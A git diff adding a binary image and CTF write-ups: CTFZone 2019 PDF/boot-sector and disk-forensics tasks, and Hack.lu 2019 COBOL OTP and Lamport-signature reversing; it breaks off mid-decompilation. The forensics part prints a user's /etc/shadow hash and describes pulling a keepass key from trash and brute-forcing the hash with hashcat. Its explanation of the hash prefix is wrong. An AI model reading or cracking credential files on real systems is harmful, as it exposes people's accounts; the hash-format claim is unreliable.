zJsRP&y)JgUg5VaLs&c=Vj5G(B%9lYnN2(b+H(n5O{lePyl9r_7f!BYHnCBV;02$&Fs9A@)H^MLQW zqi_N1P7NzIrr$TXg7ZlfYQ%NLeSCa`5Iued;2>HkRQe}%5nv`rYUtIHI52npX>*bM z_@t~zLr16GSS6V`Oi;>^pPTC@-u$N|J`>s*38#oWJL6OC8^b}hgd|^mYZVQ59%E6( zpFecB-dmPq>@=t!7sHSxwq(xpc$CP9|5R5$wp5DzL3$;VhtpLyzVlVyS3lg{i60&RyGqr=eCPPEQ(Nu3__9A~&atkO)?P zjQv3=%=(Qf4i$_5TOwpHYLm1`i8pPsPb6*f)hOF@Z?RGEA%9mb45)`9*VYK(5aT~- zeqo;}Y~^=>zL9D(1_QBna@`3s1a2?31!JW8xaG#|MYv^Zj%wXLq++;GBfZEc-cpQs0I-tE&EOrE+UfkF3 z305AH5@ZU@2!k%j2K>LiRslzy@oB@KflV_t!!6N?3sGq10S(d}v6>+mtiQ2vv6Ao3 z=)J47ZbWgWqnusZ+;$Pa4Gp2Ry6x8Y^S(rE3cJpQR!*G1yIpfF*;<=jUVrqt4ULJ> z1L+Qd#h3l_GT%>b&p~@%zI=IqU%eV~t@pVd>`_I?X#DeDuz=gWO(*hs-g}DTf0!p1 zSZj_M$l5Iju5$s|Hq+vLMdr8AmrXFL&1Vd;lB_UH# z-ij#WG9g@Q(!hwtG2R4a-d6gds?^QTMW%Z^RQg~Kp5Fwi@@JZbZZud}0FQ$6vaPfu zPBm2(ENnei0nW$)LO#J}!(Pm*X4Mj!!m`3(7PhW`d=IV4cv$m-dFV_8Tf_(_)@!0w ze20R~MtjJ-sv7P9`!yQhKk`&pLjRkyzu(U}XI-k@T;|pb?;LlKinB9dX&B3RBS!M$ zc9^1HMo?^Fb6K)(9+FhGs>!OdoRDYMgmtL$h7$amME&f`K|e3kAox*({&ZbZS~V$D z2|szt4e0bBk%VNH?`#X8Ew67 zs3o@%DF0llf+U%45ab1!VuO6uc8VK>1w%eY$S`Nz>zK?mRUn5G6F;^#k(Vm+L-g*) z)C^q#Gl>etwTh|CvjC*tN_h(++~&bGf_t8&DQ6$t; zP{EHzdBLPc%n``GHQ0ON-zbJv=m2LxXI_TB-1*zZIC-*x9{d zngJP2Yj1(JFnDf5nwnFadEjXs{%W&3WnG_8q8~I19APX(BEEQkdZ*ph)~0)B!{Q;7~3aAtA6|ZhWSQfx10oMCtD-aF?NfQHb%a)7_ z#0uZs+}zU90Y!(AA|fkcUT&J$k6zo7CMpSeJsZX(AKDoB51<~g?`OOfOwVI!#-M6& zKc7Brwqlz?SVg@mao>!JqRGP`Hn%94(sbs{mj-rh6@hU1M- z;?E-1J8g^_XJ?5LU@x@vu0KrL;`~)@&}N;sN`ZDdgiV=gH>xF>$OdqYDol(?h5cE+ zs!SR}`b@i4Ko+YzC((+SDr;>RQ&f(mGX#q;B`qCnyZpT%=O)O?gcUYSfDOHR{$sAc zTVy%<^BRCLeHgEW7m59+$5gDY{6JhnT%rk8?(j(cZgG41zQND>6@C5vC-JEY6oSBg z_~$dx=}C^{pV(Jh7FCEq6NbvZ-z7g}Lit(kV^l*s{r#VShS=GrsB~qeg5IKVRs@C( zQw^lK8F{blnD~}Qb{IUUYWngt^Csq&&@~Ke{SXOo`5*+n9_y@u%Z2%&KX}6N76ubv z=?zK)6&*d(1WF54LNX8`gO?(8>IxG#z{9r8`~Xw!Y}AWqEE&#Ao@S8(C+lNu+~dQ? z%tm*Wa*JK}V?<(U?pyNzs%0<#BZCl7|FE*(KLaNHc{XRMIiP`x9!+3?jONant5hd^ zZS(fAb{^KM$OQBo+Cf%sc~zV7hgV%xy}RWSbgNNWGVRFIr23>{rSPTXuYmO1Aek!F zSD9=X`*s$IczuG2iAjjog7g0AarQqe32IMwp#K3%Dp)r}8|`Z7DADb&Ci+Sz4u<(M zvPXjX&P_%y)2E&P%e6Fe-_K4C{H-Klgv1dC7hs9r zX-hv;-jTXV)*xM07ACrY50Slj7o2{)A@4Z+Pgn-yU&ztX*c_QM@;X7q zex?fI2#p>-Iq!{YZM^rjp|R_ycLyE6deJClG&wel{~ExBfW%#?DPKcuh*nf4e_KwQ zkCjz?SV7Fz3mC)Kf-%?0i8ZiBa@dmd@N_*ciQ>q3ONq>9q2aG;7%}nexBL}8?Wm66 zzrGI1l8Rf&LhfF2lR^PM@BIfi1bjk8lC)DBm5ju4F84~%?X9U@YJ;BZHj>*%QhSmEz3DGNvTPef|&#(l-N zRMx-#YFaelO5OTKKv@Np{#2{+_}|dDW#5HL7=jvL6inFf7)RkHgwAq0yUhNc!*91Q8@YI@LiuO@{}@Yc8*^4=SB13*^6?f%_Z=B2jlzy_ z{qwkaLty;V2zXj~S=qgb3OR6HP#$)w$%94GP>%n9)!RBr_<3i0hEln(@_%EVg^7J_ z;+{@6|J@GV)7=3KWWm@Zx(EqukK&1#P zBT5=tYf6ZR-yWAVnc`*)=Qt!_M)w>72#Kb^0`JBNHPEj#lv7|b(!5cCbLPi5Qv*Yv zC0eLVZ4kN7mm_wbxk>o;cdIb14F!sF%u4dk_z+=63P&py*eAuM5<;Ozw4!xn8U!D6 zFmLk11aliWth(B*k z%+%nIgbjV_hL$c70UhQ`v~G)FFg`fu#~iE@SofyI=~lyDLFcHnm{yXv*1t!U@_av! z5Tl-I3{h^lh!9#*UPQJKFH(||FS!Uda}y^g3~b_FYwM4MBpl14kl_bBTZcmaW2cQm z3}UvCeo}b&gnV|smz9x`VH}q04GPU;z~{y7gamYi$Szal)T^+YiuNU`5HRWf1T_Es z_<#W+g>tjb%`xI_!W!0a8=784JUBrLoL(m)Q&;Bfo$(h*oKaz9%}(Qya`{FvxZ~it zobnasDb5FjKz_F?E`<6Ao^-@YCrNaab+vqG72@PK-!k7#6gftC22?Vn-v|4e$0871 zDD@Bl!#fvlRTrZ@8w{vyB`W+?Y-1hv?5dILNW=>md;*+hQkHs>Xvf-ci)Z7OH>f6$+2d(~h0twi|$>j{l-J_aq_ zh9#MjdE)7Tw-KmNisY4AoM>VQaur`1=1Xd5@OW_nLL!`7lIHfP|xvoShqewd?zSeHyGov;GR7E&?8ql3qQ_*=uB0 zn-$2j?685tZ=3I9cT!B%aw@{N>bq?b^q#=dQh-({0yi#^{iB1G z>Li&^m6jHqm>8ovGFm1kfz=rm4Gk!@9iT3xfDlABClYYznUheR_ooBeqe^>)kXo_4U`bfmhxc&Wj-rzYeIDNktY_r9-Kxn@B+dzByT0a-){tTx z>m|y@%68kM)?EL^Ap}B8{2!5#;(68M^SH;Dma$h8>}J5MyrHhe3siM}I%`Sw#r6>$ zY^~Dlf7;)SjOZSd_+hTDH9ak902r_n*hS4KGU&ZeY62FDx#k}`m<~6%zeF?ywnAt4 zWZ<$5cj{J-EC=IzwOvlVRoxkFhpO!8;c%S4dT>J3`ttend}(H;!`z>rEN?5Y7d_k> z$|g>etsrr+d-j>%z#5xeY0wOCc7nDg#KlbjiT)2_9DN?(-plkr_dOxL46a%-^*gB& zC{D7zDPHbiG}%mTe5U?oB+hi(SL5IW{h-llS8aec2M`z_8REP*kXzP<(A+1=uT z`5d2nb6_bF_8UOMA+2B+PJ@4pk)r(25&2&i#I!1hS$ITrqZ)Zo0%usHJc){^2EuX| z_*8J#1ppKhGV+~Q+dz&4Rl@iiK4falSGLS$`mE;yK)ZQMHqDiWqhNYaTShqn_+)n%$A!G$Pa;`mlqKj6j6X0G(*wT5k&6q*g9>Z3 zTUGwv)%f@ZxkOR1rT&@zu_4kbcYI!@y*O9|q%!l|4DI7Ja^bc90@;5s?%wc4%A}Xw zLDPlxk@;Q($9*90?p~_5nW28pON2~jbaPSv9d(`3!BiL(!QSa%a(i7>3E%p$!U^-Tri}(lL|U!3K)E2vjsx!)WI`)kT-*f( zJvm)We-(ynIl155oPUz>;teh;a?b6d3-{rxe~XE|6FWX8)bAf;f;7=hsC#Xv@&7f^ z-*FiTTgQUr$^BmCH1_e9;JI(^3>+YQ*MM}!e~uKIkf^+li<(xncjG<5|MegGPh}D_ zp)uM)EUP#-cl-Jh+m2bi!~hRBo&ba~l4a`ER8{oM7)-h?++*zsp4Lq=S)$peHe_tI z%0lM=h}edXH0mObe=$8GT=U$AL3!Gr?&q4V!V0uI&Gh;^Qk_q~_VVAZ7Y$rVPz@_0 zEG#g>vFhw@6eVh<4+pg03dG@KsETusERQxsHy624Q#9#F3J2mg?5wf}&Z&F0SC@CF z%eY`R{`HJ#sWE}tP7}*U)Zr-7)vZ#oiH3$d=+9tN`Xf?T`LluP(2y07`x}6?OjJY! zUOzv>K3L$<4Xevja)Nr-`MwaHU1?jUrx$VADMv>Jqp;6|?h&QHTy78;JT`f!&0KBf zf-WmsaE?=pwP4)<-EmGS^WWEN)FkuhejT;x6PFn5>trH0+86SZZ)s7twWFb>Ei5Ss z!^_O0t9XkDf`|2n3j4*+$w7PsA#waH{^FuyDX?_)%Pm=5dwg7kh+)TD@4U$JpeRp8 zrBMw>xm^GHaGu24?~(~AF&?1Ti~X+8hv9WSu^OK>LM;piZhT8caws90))f>7-S&yx z=X+_MbiYHBqmPuSS@Ng{G$`y~mUT~xADJ$uyMO$sc;KEIFF4e6R;6?%@qWeZz$yZk zw|IO3qG&2evYWtdAeY!om@Z_?Zj(h&LNo|lvl<_#fspS|#*rY4BAgQGJ`8>o-Zisv zp-G3MXz{;Rn+973e7rRUZn+NJ$kfiSTL5`)seAqqUnWLd!> z?$zb>PJ#m8p97beIAqFrg?=;arC zgQ@6G)k}HD_)wt&GCk&Qv{#k*s-}`mab?ASuNQ)j0JzZPstboyRV6JhA-zMkNJ^o% zi5`iJMOxa|^*^^C3H7>fUcK#p1u(fd z07-qyKGNBo)3&O>iOI+_x;Vgx;V>I1sGpdTKWz>86690V@M z)TiT5o%z0#t_w~yc~RCBQ>1I14oCn|86*j1wYIglqc;VTBU)FYk@h#H(9zzD#()L|7c+F ziaD)8D=EBVv1>m9*~QnGGf>5|IUTutct_tR{aATZZm&l}UfV`kwdU*uUqTqDkAN|6 zRFqz-vJJ4K9v&+C%wRC^;NfwEk2lR|TH`(Q{`uRJH+pt?J`2iCh)r zet{}u-!>j4e5iUWjjqHdpe1huJTG!>g+b|wwKd3VT|uRPVuY!;Dy_crLaYON8mjto z@2?POdSWAIXKyUbgQmx(_G9MAeZIl`YKA z7u50vD^i609z6M?UGL#Mo#_fQkc}ou}N~&$9Q+}Jp$g0(=@MX_- z7!F3_y7Su0e|Nm}&TIb}0=@qC%%5>@a)4@j%%KiUkB0)MQw(B+v`0md;D9s7(^AMW zRLoI{<@u7*z*zbumv=Se4U$py#V23sIV`&nmfFh;OInVBdj-U6C!`PLQYLHa<7$-= z)`T(pDh^(&Z~uq@JJvx%nr(;1pRzVE%z}!N_VA0jnpk=_WQ&?wAWb=_o4$Vtn*DgS z6eAS>x8KtbiUe;X;X(~ptStA{dxEZX3cIGwB^sMv2lxgf8qHJl<(f zwZfukcTUPg4*~4Z20YvY&^3xb;2IpLn--|1aMY2hbwDCZse`b%tTaoOG_$4z<3`N( z^qb#|I(uw>RXG$$CV}@MY37LKgDI3>l576r@5l&;9ZJmUPJw#TptBf(k+%UeX52N8nM^8V zA!fn?Wj;`~ujgzCRdQU+)7ru7u(w|!e&<&DA(b*4GLU-fq3r3uaM>I)k-Bw^wC=xSqlQKnNex3310vprYR zb~ZK-|Bg10k@+dGanRqMANNoo61DKeWGmY-qe8?w04`?OXH-Q^W~^{YEF}o^{Xj?G zL*ZPD`c1m?#lY#x6*f=uV{Vmgwt?Gz&}xPfH)v?pFZ8mNSIYlaAHICdoba>H-4ik7 z-;rWDPd8da|*W5>?S>F6}gd9eoP zw5uOdEr%pIpRr=Ylgfc0Mp?Thc2njtF`<-+o{{TNsYRimMk3EP-n)%shNG5yd6&@{ z>=)mENcY#26WLBzMn^m@#>gCq9wtvl(c|B8P?|_YCRj1>sPb~|6qsucR8EFcrcH)U zSIP>G9blLY9$oP2KrA!Ohzq}6s!>>#rYE`y%LrrRV<-PY8edWn9=a4UvVVht$tq$<(f;yVDUZEqtkby(r^VKnblZ6&DbHJ={VW0W#1)EedYp9J53LSwPByFP9$ zWO{#l+t(^Et44BtWd50S0wH4)j^e?STx!AH9vg4F)}TC3i> zoF6`_J%>||{3wq%LlI&$GlX_cRZwf&a6yNi_paT?el>lI;LqgS*}Tk-$JR(A|2JMu zJVO|CY(HjA@ZqLqkyuouCUeL@sMFoT;5ol{#%uYOb)m@p(GZd!(jH z&Vz*c#dAsX*YF^C4*QWK5i$=U_F+cSGXVFG;$tg97z5M={DqpH=gJT!J;H_h8V3)C zL(>X2leT)J!;bR6`Em7_&)ugpi58n7vQWd_)ns^^)jP8s=Ju=Yaa;HR|1J}E@q9KC zzT9X6hk}e?yy}r&x&*&Po6ax=ZCS|-bTR4?+{@ks{`&q;DFN1Vt4u{DBj2-xzwvo&0{d!@$e)twu zG|<3)+6J~Db7i)G3l8YaEOhRYtf7Kc5V#&kIcwOO^7VPlZ+mPdhK=2{8ylATI~d{P zHc~Ssnj4X^wjM(V=B@UJ;y&oKf&`}tWabcz!CuV;d-{2oPcfV)b8Ak*itTvjaxC2% z7VWOW3YL8oD4x?Xd^KNap~a%+wr=G{2mho-m9+2QhLhfpgtz}LjRE>fnnbc4kr^q3 zkx-%}C4ELu1B?(fG{O%C&|)F$%dEG5e!GN7f~G4hHOCZ%V$fA2>wjr~o5y1Vw{BdB zBc<&1%wvltyV@DG?>K+x4#iDp?Z_(+l_{2SlRW0u=L$8$Q2CxHjIRwVj{GRgLciEi zCPgxB;ZBt^CffMp-cU>qVu5y3*q8Q0AKf`WP&cHz6GcrO7$l*;@WIGIw9NfKQu_j`3#HPyo5_Unm#VUzy`lpw!ZAJ^O3$v^y zfvnL=3o9^|90Qd=)>W8vDYNYE1ksp_0pkZp7JbYtPpSD6I zW&ows(yh&uB-MZ50vG1DG^oo}a{YD!F89|ZTN%!MS3~e2TDb9~2FXIr(9SnwQVLez z&vtZSAE*auJa;fL+8!o{*&QA6i(ii0eIA#Z1s=IVmR=|^;0ukgve8#YTJMftnhj^t z@^*Juvs`TMR&RaP9|z@R)4i=hAMwkUk༇w7W_{xmP!>$NI(uVYChQTTXHKp&_ zpRW1P@Ph)laN`&!Hyp$V|1&ZSlJKh+q&VEP+e4RK+E1H}dL@nLtu!_st*d+j*P($Z z|1J}3+a|mE{Ao;WEKE&ZOkE63>#kBQbp>DgI?IU_=-oNkPdJokx+x>%^1hu2 zorPrOKu^D6)^ZQ(Kl*tkw}Xu-6B;R`e{+17LhbXsuOx?Thz(~e&5cPqE1_;3`rZAF ztoHnl<0et%1)a3IyfN`PTYww3T@xh_#{V;(F0t*!nTJmOWV;fnXJOeS!6l}r-LzSa zE$#ltzVd0)rqwQbckU@`tD@nI>Flqk_hD1orn60g$bLCs7Lf6d41r~E+n#AiN sC-%YmrofBD_^=!=h;q!IRQu!q>^(c4bA^1(T*Ckap00i_>zopr0Fi<+TmS$7 literal 0 HcmV?d00001 diff --git a/writeups/ilm0/ctfzone.md b/writeups/ilm0/ctfzone.md new file mode 100644 index 0000000..3318158 --- /dev/null +++ b/writeups/ilm0/ctfzone.md @@ -0,0 +1,285 @@ +# CTFZone 2019 Quals + + + +## Strange PDF + +**category**: forensics, rev + +**description**: + +You have one PDF file. Now calculate the flag. It's in decimal, by the way. + +___ + +### Recon + solution + +We receive a .pdf file. Opening it we find a strange function definition f(x) = 109394007*x + 13 +In itself, this is not very helpful! + +I tried looking for clues in the file details, then taking it apart with LibreOffice draw, but nothing unusual was revealed. + +Analysing the file with the unix tool `strings` did not reveal any hidden information, but it revealed the underlying file structure. + +After getting into the details of how .pdf files are built up (see TD) , I took a closer look with `less`: + +The xref table: + +``` +xref +0 26 +0000000000 65535 f +0000020069 00000 n +0000000019 00000 n +0000000294 00000 n +0000000314 00000 n +0000000511 00000 n +0000020212 00000 n +0000000551 00000 n +0000006741 00000 n +0000006762 00000 n +0000006964 00000 n +0000007312 00000 n +0000007527 00000 n +0000012420 00000 n +0000012442 00000 n +0000012649 00000 n +0000012966 00000 n +0000013155 00000 n +0000019098 00000 n +0000019120 00000 n +0000019317 00000 n +0000019672 00000 n +0000019891 00000 n +0000019944 00000 n +0000020311 00000 n +0000020402 00000 n +``` + +There is only one section with 26 objects. First I thought that some of these are somehow hidden, I tried copying parts into a new file, but it did not work, later it turned out because of the offsets. As I looked into the exact specifications, it turned out that the offsets for the original file were not correct in the first place and that the file contained a mysterious second comment, apart from the standard pdf-header defining the version and file type. + +I tried interpreting the comment in many ways, looked at the hex and binary values, but could not determine the purpose of it. I was stuck here, until I've stumbled upon a writeup, which stated that the file command should've identified the file as a DOS/MBR boot sector. Which is surprising as I have received: + +``` +$ file document.pdf +document.pdf: PDF document, version 1.4 +``` + +every time when I tried identifying the data type. + +With this new information, the only thing standing in my way was being able to execute the instructions to get x. + +Interpreting the code as x86 assembly: + +```nasm +and ax, 0x4450 +inc si +sub ax, 0x2e31 +xor al, 0xa +and ax, 0xb7e2 +mov ah, 2 +mov bh, 0 +mov dh, 1 +mov dl, 1 +int 0x10 +mov ah, 0xa +mov al, 0x39 +mov bh, 0 +mov cx, 5 +int 0x10 +mov ah, 2 +mov bh, 0 +mov dh, 1 +mov dl, 3 +int 0x10 +mov ah, 0xa +mov al, 0x33 +mov bh, 0 +mov cx, 1 +int 0x10 +``` + +This code returns 99399, substituting it into the original equation: + +109394007*99399 + 13 = 10873654901806, so the flag is: ctfzone{10873654901806} + +### Technical details + +Structure of PDF files: + +![pdf.png](ctf_zone\pdf.png) + +[https://d3i71xaburhd42.cloudfront.net/b4f47fb71221a0676e2e892af7b98acad2c3c5cd/2-Figure1-1.png] + +### Lessons learned + +- PDF file structure +- Always go a level deeper! + + + +## Joshua + +**category**: forensics + +**description**: + +This should be an easy one, just remember to rock. (Sorry, the flag on disk begins with CTFZone, please change it to all lowercase, when you submit). + +___ + +### Recon + solution + +We get a 20GB raw disk image. The unix tool `file` tells us: + +``` +$ file joshua.img +joshua.img: DOS/MBR boot sector +``` + +that it is the image of an MBR disk. + +I tried to mount the mentioned image, but it does not go as easy as one would think. + +We have to find the starting sector with the `fdisk` tool: + +``` +$ fdisk -l joshua.img +Disk joshua.img: 20 GiB, 21474836480 bytes, 41943040 sectors +Units: sectors of 1 * 512 = 512 bytes +Sector size (logical/physical): 512 bytes / 512 bytes +I/O size (minimum/optimal): 512 bytes / 512 bytes +Disklabel type: dos +Disk identifier: 0x70b3f931 + +Device Boot Start End Sectors Size Id Type +joshua.img1 * 2048 7999487 7997440 3.8G 82 Linux swap / Solaris +joshua.img2 8001534 39835647 31834114 15.2G 5 Extended +joshua.img3 39835648 41932799 2097152 1G 83 Linux +joshua.img5 8001536 39835647 31834112 15.2G 83 Linux + +Partition table entries are not in disk order. +``` + +Based on these results we can calculate the offset: + +``` +mount -o ro,loop,offset=$((512 * 8001536)) joshua.img5 /mnt/joshua +``` + +After mounting the largest partition, we immediately head over to /etc/passwd, to find some more information about who this drive could belong to. (It needed reading around online how to approach such challenges.) We find an interesting entry: + +``` +joshua:x:1000:1000:joshua:/home/joshua:/bin/bash +``` + +there seems to be a user called "joshua", let's check out his home directory! + +We find an interesting file .bash_history: + +``` +sync +sudo cryptsetup close cryptovolume +chsh -s /bin/zsh +echo $(SHELL) +zsh +cat /var/log/auth.log +faillog +chsh -s zsh +sudo apt install zsh +chsh -s /bin/zsh +sudo apt install keepass2 +keepass2 +sudo luksformat /dev/sda3 +sudo cryptsetup close /dev/mapper/ +ls /dev/mapper +chsh -s /bin/bash +rm ~/.zshrc +rm ~/.zsh_history +sudo apt remove zsh +ls -a +cd ~ +ls +ls -a +rm -r .oh-my-zsh/ +``` + +We can make some interesting observations: + +- joshua has sudo access +- he used the zsh shell and he deleted its history +- he set up an encrypted volume (probably joshua.img3) +- he used the keepass2 password safe + +In the Documents folder we find a KeepItSafe.kdbx keepass2 file. But we do not have a key for opening it! + +``` +$ mount -o ro,loop,offset=$((512 * 39835648)) joshua.img3 /mnt/joshua_crypt +mount: /mnt/joshua_crypt: failed to setup loop device for joshua.img3. +``` + +I could not mount the encrypted partition, probably the encryption prevents us from loading it. + +We also find an interesting file in the home directory ".recently-used": + +``` + + + file:///home/joshua/Documents/KeepItSafe.keyapplication/x-iwork-keynote-sffkey1570444296 + + + file:///home/joshua/Documents/KeepItSafe.kdbxapplication/x-keepass21570444267 + + + file:///home/joshua/Documents/KeepItSage.kdbxapplication/x-keepass21570444179 + + +``` + +He seems to have created an other keepass2 file, maybe deleted it later? But what is even more interesting: He created a key file to the safe, it has to be somewhere around! + +We find the key in the trash `/local/share/Trash`! This seems to easy! + +Unfortunately, it really is, keepass2 reports that the composite key is invalid! Maybe a password is also needed. + +I tried brute-forcing /etc/shadow with hashcat to maybe get a relevant password, but it took too long, maybe with a strong graphics card it would go faster! + + + +### Technical details + +Linux file structure: + +`/etc/passwd`: + +> The password file is human-readable file that contains information about users on the system including their encrypted passwords. Some systems don’t have encrypted passwords in this file if [/etc/shadow](https://kerneltalks.com/user-management/understanding-etc-shadow-file/) file is generated. + +[https://kerneltalks.com/user-management/understanding-etc-passwd-file/] + +``` +joshua:x:1000:1000:joshua:/home/joshua:/bin/bash +``` + +In our case the second "x" meant that the password is in an encrypted format in the /etc/shadow file. + + + +`/etc/shadow` + +> The /etc/shadow file stores actual password in encrypted format. + +[https://www.2daygeek.com/understanding-linux-etc-shadow-file-format/] + +``` +joshua:$6$6PWRmE20$BAkQBhvRUnnyuGBgIrikxBp8YkOOUO7REg285NqJbFNt7E.19xNTfa2wdT0.NiFxdcw2nMLmT3/hgw1doIB2x/:18176:0:99999:7::: +``` + +In our case the prefix $6$6 means that the password is hashed with 6 rounds of SHA-512 and +PWRmE20$BAkQBhvRUnnyuGBgIrikxBp8YkOOUO7REg285NqJbFNt7E.19xNTfa2wdT0.NiFxdcw2nMLmT3/hgw1doIB2x/ is the hashed password of the user "joshua". + + + +### Lessons learned + +- Mounting .img files +- Approaching a forensic challenge \ No newline at end of file diff --git a/writeups/ilm0/hack_lu.md b/writeups/ilm0/hack_lu.md new file mode 100644 index 0000000..0736bc0 --- /dev/null +++ b/writeups/ilm0/hack_lu.md @@ -0,0 +1,538 @@ +# Hack.lu 2019 + + + +## Cobol OTP + +**type:** crypto + +**description:** + +To save the future you have to look at the past. Someone from the inside sent you an access code to a bank account with a lot of money. Can you handle the past and decrypt the code to save the future? + +___ + + + +#### Recon + +We receive two files: the code of a COBOL program and an unusual looking output file. + + + +**otp.cob** + +```cobol + identification division. + program-id. otp. + + environment division. + input-output section. + file-control. + select key-file assign to 'key.txt' + organization line sequential. + + data division. + file section. + fd key-file. + 01 key-data pic x(50). + + working-storage section. + 01 ws-flag pic x(1). + 01 ws-key pic x(50). + 01 ws-parse. + 05 ws-parse-data pic S9(9). + 01 ws-xor-len pic 9(1) value 1. + 77 ws-ctr pic 9(1). + + procedure division. + open input key-file. + read key-file into ws-key end-read. + + display 'Enter your message to encrypt:'. + move 1 to ws-ctr. + perform 50 times + call 'getchar' end-call + move return-code to ws-parse + move ws-parse to ws-flag + + call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value + ws-xor-len end-call + + display ws-flag with no advancing + add 1 to ws-ctr end-add + end-perform. + + cleanup. + close key-file. + goback. + end program otp. +``` + +The first hurdle is to understand the basic functioning of COBOL, it is very different from the programming languages we are used to today. What one can tell on the first glimpse: + +- A message is read from user input to be encrypted +- There is a key read from a key file, that is used for the encryption +- XOR is used for some kind of encryption (OTP?!) + + + +```cobol + 01 ws-flag pic x(1). + 01 ws-key pic x(50). + 01 ws-xor-len pic 9(1) value 1. + 77 ws-ctr pic 9(1). +``` + +Variables are initialized, 1 character for a flag???, 50 characters for a key, 1 digit for ws-xor-len and 1 digit for ws-ctr, most likely a counter. + + + +```cobol + fd key-file. + 01 key-data pic x(50). +``` + +```cobol + procedure division. + open input key-file. + read key-file into ws-key end-read. +``` + +50 characters are to be read from a key file. + +`procedure division.` marks the beginning of the code real process body + + + +```cobol + perform 50 times + call 'getchar' end-call + move return-code to ws-parse + move ws-parse to ws-flag + + call 'CBL_XOR' using ws-key(ws-ctr:1) ws-flag by value + ws-xor-len end-call + + display ws-flag with no advancing + add 1 to ws-ctr end-add + end-perform. +``` + +The main loop where the 'magic' happens, we read 50 characters individually, xor it with the respective key character + + + +Here I turned to look at the output: + +**out** + +> Enter your message to encrypt: +> ¦Ò–y;dhuŸÝFŸ]UjhCŒ-’1T`h&ŸÍF‡1*T{_¦ë¤p02J + + + +The second line of the output does not seem human-readable. A hex viewer shows: + +A6 D2 13 96 79 3B 10 64 68 75 9F DD 46 9F 5D 17 55 6A 68 43 8F 8C 2D 92 31 07 54 60 68 26 9F CD 46 87 31 2A 54 7B 04 5F A6 EB 06 A4 70 30 11 32 4A 0A + +The 50-step loop we saw in the main code body corresponds to the length of the encrypted text, as we are doing OTP encryption, the key and cyphertext lengths are the same. + +It seemed like what we see is a pure one-time-pad realisation in COBOL. The code seems straightforward, brute-forcing would take ages. I got stuck here. + + + +#### Technical background + +Functioning of the one-time-pad: + +XOR-ing each bit with the corresponding bit of the key. This is a perfectly secure crypto scheme, for an attack to be realised one would need access to at least 2 pieces of ciphertext or preferably an oracle. + +#### Lessons learned + +COBOL is still used, the last revision was released in 2014 + + + +## Lamport Verify + +**type:** crypto, rev + +**description:** + +I finally managed to create a signature verification service powered by time, artificial intelligence, the power of music and the randomness of entanglement (well, Leslie and the Emperor Penguin’s randomness also helped). It is resistent to all known and unknown attacks and will always be uncrackable. Leave and believe! + +nc lamport.forfuture.fluxfingers.net 1337 + +___ + +#### Recon + +The description first seemed to include some clues, such as "Leslie" and "Emperor Penguin", but I did not succeed in finding anything meaningful relating to crypto or signatures. We are provided with a binary called "verify" apart from the service. The name of the challenge hints, that we are dealing with Lamport signatures. (see TD) We connect to the service, which gives us the functionality of signing and verifying something. + +The functioning of the service is not clear at first, let's take a lot at the provided binary with Ghidra. + +The analysis provides us with an entry point: + +```c +void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3) +{ + undefined8 in_stack_00000000; + undefined auStack8 [8]; + + __libc_start_main(FUN_00401400,in_stack_00000000,&stack0x00000008,FUN_00401720,FUN_00401790,param_3,auStack8); + do { + /* WARNING: Do nothing block with infinite loop */ + } while( true ); +} +``` + +We find unnamed functions. FUN_00401400 looks promising, lets take a look at it! + + + +```c +ulong FUN_00401400(int param_1,char **param_2) +{ + char *__filename; + char cVar1; + int iVar2; + FILE *__stream; + size_t sVar3; + ulong uVar4; + int local_38; + uint local_c; + + _DAT_004080c8 = 0; + while( true ) + { + iVar2 = getopt(param_1,param_2,"hv"); + cVar1 = (char)iVar2; + + if (cVar1 == -1) break; + + if (cVar1 == 'h') + { + printf("Usage: verify [-h|-v] secret_key\n"); + local_c = 0; + goto LAB_00401713; + } + + if (cVar1 != 'v') + { + fprintf(stderr,"Usage: verify [-h|-v] secret_key\n"); + local_c = 1; + goto LAB_00401713; + } + + _DAT_004080c8 = 1; + } + + if (param_1 - optind < 1) + { + fprintf(stderr,"Usage: verify [-h|-v] secret_key\n"); + local_c = 1; + } + else + { + __filename = param_2[optind]; + DAT_004080b0 = &DAT_00408070; + DAT_004080b8 = &DAT_00408090; + DAT_004080c0 = &DAT_00404070; + __stream = fopen("flag","r"); + + if (__stream == (FILE *)0x0) + { + perror("Could not open the flag.\n"); + local_c = 1; + } + else + { + sVar3 = fread(DAT_004080b0,1,0x20,__stream); + + if ((sVar3 < 0x20) && (iVar2 = ferror(__stream), iVar2 != 0)) + { + fprintf(stderr,"Could not read the flag.\n"); + local_c = 1; + } + else + { + __stream = fopen(__filename,"r"); + + if (__stream == (FILE *)0x0) + { + perror("Could not open the secret key.\n"); + local_c = 1; + } + else + { + sVar3 = fread(DAT_004080c0,1,0x4000,__stream); + + if (sVar3 < 0x4000) + { + fprintf(stderr,"Could not read the secret key.\n"); + local_c = 1; + } + else + { + local_38 = 0; + + while (local_38 < 0x20) + { + DAT_004080b8[local_38] = 0; + local_38 = local_38 + 1; + } + local_38 = 0; + + while (local_38 < 0x20) + { + uVar4 = FUN_004011a0(DAT_004080b8 + local_38); + if ((int)uVar4 == 0) break; + local_38 = (int)uVar4 + local_38; + } + + uVar4 = FUN_00401290((long)&DAT_00404070,0x20); + + if ((int)uVar4 == 0) + { + printf("The message is not correct.\n"); + } + else + { + printf("The message is correct.\n"); + } + + local_c = 0; + } + } + } + } + } + LAB_00401713: + return (ulong)local_c; +} +``` + +We recognize a simple c-program (I reformatted the code for easier reading). The hardcoded usage warnings tell us how the program functions, even though the parameter "-h" and "-v" always jump to the end of the program and returns 0. + + + +Read 0x20 bytes from a file named `flag`. + +Read 0x4000 files from a file named `secret_key`. + +Get 0x20 utf-8 characters from user (@ 0x4011A0). We’ll call it `user_input`. + +Verify if the `user_input == flag` (Time-safe memcmp) (function @ 0x401290). + +If verbose (`-v`) flag is on – print “the signature” (function @ 0x401290) + + + +```c +ulong FUN_00401290(long param_1,int param_2) +{ + char cVar1; + byte bVar2; + int local_20; + int local_1c; + + bVar2 = 0; + local_1c = 0; + + while (local_1c < param_2) + { + bVar2 = *(byte *)(*(long *)(param_1 + 0x4040) + (long)local_1c) ^ + *(byte *)(*(long *)(param_1 + 0x4048) + (long)local_1c) | bVar2; + local_1c = local_1c + 1; + } + + if (_DAT_004080c8 != 0) + { + printf("[+] Signature:\n"); + local_1c = 0; + + while (local_1c < param_2 * 8) + { + cVar1 = *(char *)(*(long *)(param_1 + 0x4040) + (long)(local_1c / 8)); + local_20 = 0; + + while (local_20 < 0x20) + { + printf("%02x",(ulong)*(byte *)(*(long *)(param_1 + 0x4050) + + 